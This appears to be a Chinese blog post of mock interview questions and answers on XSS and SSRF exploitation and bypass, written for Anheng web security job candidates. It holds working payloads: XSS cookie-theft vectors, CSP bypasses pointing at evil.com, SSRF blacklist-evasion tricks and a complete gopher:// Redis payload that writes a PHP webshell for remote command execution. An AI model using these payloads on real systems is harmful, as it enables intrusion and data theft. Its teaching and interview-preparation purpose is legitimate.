安恒Web安全面试题

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

以下是针对 ‌XSS/SSRF漏洞场景复现与绕过技术‌的模拟面试题目及参考答案,涵盖基础原理、实战场景和高级绕过思路:

‌一、XSS漏洞相关题目‌

‌1. 基础原理‌

‌题目‌:请解释反射型XSS、存储型XSS和DOM型XSS的区别,并各举一个实际场景。

参考答案‌:

‌反射型XSS‌:攻击载荷通过URL参数传递并直接输出到页面,不持久化(如搜索框输入恶意脚本)。

复制代码
例如:http://example.com/search?q=<script>alert(1)</script>。

‌存储型XSS‌:攻击载荷存储在服务器端(如评论、留言板),每次访问页面时触发。

复制代码
例如:用户提交恶意评论<img src=x onerror=stealCookie()>。

‌DOM型XSS‌:漏洞由前端JavaScript操作DOM时未过滤输入导致,不依赖服务端响应。

复制代码
例如:document.write(location.hash.slice(1))中location.hash可控。

‌2. 绕过过滤‌

‌题目‌:假设目标网站对<script>标签和onerror事件进行过滤,如何绕过?

参考答案‌:

‌HTML标签替代‌:

复制代码
使用<img src=x>结合<svg/onload=alert(1)>或<a href=javascript:alert(1)>。

‌编码混淆‌:

复制代码
将alert(1)转为Unicode编码(如\u0061\u006c\u0065\u0072\u0074(1))或HTML实体编码。

‌事件属性替代‌:

复制代码
利用onmouseover、autofocus onfocus等非敏感事件。

‌3. 高级绕过(CSP策略)‌

‌题目‌:若网站设置CSP策略Content-Security-Policy: script-src 'self',如何绕过?

参考答案‌: ‌JSONP劫持‌:

复制代码
若允许self域,寻找同域下JSONP接口,构造<script src="/api?callback=alert(1)//"></script>。

‌CSP绕过标签‌:

复制代码
使用<link rel="prefetch" href="http://evil.com">或<base href="http://evil.com">加载外部资源。

‌Nonce泄露‌:

复制代码
若CSP包含nonce-xxx,通过其他漏洞窃取nonce值后注入合法脚本。

‌二、SSRF漏洞相关题目‌

‌1. 基础原理‌

‌题目‌:解释SSRF漏洞的成因及常见利用场景。

参考答案‌:

  • 成因:

    服务端未校验用户输入的URL,直接请求内部或外部资源(如file_get_contents($_GET['url']))。

  • 利用场景‌:

    1、读取本地文件:http://internal-server/etc/passwd。

    2、攻击内网服务:扫描内网Redis、MySQL等未授权访问服务。

    3、云元数据泄露:AWS的169.254.169.254或阿里云100.100.100.200。

‌2. 绕过黑名单‌

‌题目‌:若服务端禁止访问127.0.0.1和localhost,如何绕过?

参考答案‌:

  • IP格式转换:

十进制IP:127.0.0.1 → 2130706433。

八进制IP:0177.0.0.1(需环境支持)。

  • 域名指向‌:

注册域名解析到127.0.0.1(如localtest.me)。

  • URL编码‌:

http://%6c%6f%63%61%6c%68%6f%73%74(localhost的十六进制编码)。

‌3. 协议利用‌

‌题目‌:如何利用SSRF探测内网Redis未授权访问?

参考答案‌:

‌Payload构造‌:

复制代码
http://attacker.com/ssrf.php?url=gopher://192.168.1.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2458%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

‌步骤‌:

1.通过Gopher协议发送Redis命令,写入Webshell。

2.访问http://192.168.1.10/shell.php?cmd=id验证RCE。

‌三、综合实战题‌

‌题目‌:假设目标网站存在一个上传功能,允许用户上传图片,但后端会检查文件头(如GIF89a),如何结合XSS和SSRF进行攻击?

‌参考答案‌:

‌1. 上传恶意图片‌:

制作包含XSS Payload的GIF文件:

复制代码
GIF89a/*<svg/onload=alert(document.cookie)>*/

上传后图片URL为http://target.com/images/evil.gif。

‌2. 触发SSRF‌:

构造SSRF请求读取上传的图片(利用服务端渲染功能):

复制代码
http://internal-server/render?url=http://target.com/images/evil.gif

当服务端渲染图片时,XSS Payload被执行,窃取内部系统Cookie。

‌四、面试官追问方向‌

1. 防御方案‌:

1)XSS:输出编码(HTML实体化)、CSP策略、输入验证(如白名单标签)。

2)SSRF:禁用非常用协议(如gopher://、file://)、使用白名单域名/IP、请求前解析并校验目标地址。

2. 绕过新思路‌:

1)利用DNS重绑定技术绕过IP黑名单。

2)通过分块编码(Transfer-Encoding: chunked)绕过某些WAF检测。


通过此类问题,面试官可考察候选人对漏洞原理的掌握程度、实战经验及创新绕过能力。建议结合自身项目经验补充具体案例。

相关推荐
网安INF1 天前
【论文阅读】-《SparseFool: a few pixels make a big difference》
论文阅读·人工智能·深度学习·网络安全·黑盒攻击
介一安全1 天前
【Web安全】转义字符注入?转义也会失效的SQL注入
web安全·网络安全·安全性测试·sql注入
网安INF1 天前
【论文阅读】-《Sparse Adversarial Attack via Perturbation Factorization》
论文阅读·人工智能·计算机视觉·网络安全·黑盒攻击
lingggggaaaa1 天前
小迪安全v2023学习笔记(九十七天)—— 云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行
java·笔记·学习·安全·网络安全·云原生·kubernetes
余防1 天前
代码审计
安全·web安全·网络安全
Whoami!1 天前
4-8〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸命令注入漏洞
网络安全·信息安全·oscp·命令注入攻击
盛满暮色 风止何安1 天前
网络安全设备 防火墙
服务器·网络·网络协议·计算机网络·安全·web安全·网络安全
合作小小程序员小小店2 天前
Web渗透之一句话木马
web安全·网络安全·安全威胁分析·安全架构·安全性测试
源文雨2 天前
MacOS 下 Warp ping 局域网设备报错 ping: sendto: No route to host 的解决方法
运维·网络协议·安全·macos·网络安全·ping
独行soc2 天前
2025年渗透测试面试题总结-102(题目+回答)
网络·安全·web安全·网络安全·adb·渗透测试·安全狮